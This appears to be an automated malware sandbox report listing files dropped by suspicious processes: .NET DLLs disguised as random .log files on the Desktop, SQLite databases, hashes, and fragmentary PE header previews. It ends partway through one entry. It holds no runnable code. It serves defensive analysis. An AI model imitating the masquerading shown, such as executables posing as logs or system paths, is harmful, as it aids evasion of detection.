File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zu9orqVQ54

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\AHaGtIaB.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\AjBoyNzh.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ClnXUwDc.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\EMzXkajr.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\EZsfFKza.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GtlgqOyY.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\HZFVxtTQ.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\HhpobctW.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\Hxfnrnuk.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JquWdkfi.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LtgEzTke.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\NILvpmFI.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\NZSNEIyK.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\RugdLmIP.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SqUEbieS.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SvduSjUw.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TilmxzEN.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\VScUyJWO.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\VkXUSiII.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WvrkJSnm.log

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\XemDEfuG.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YMfkqJAE.log

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
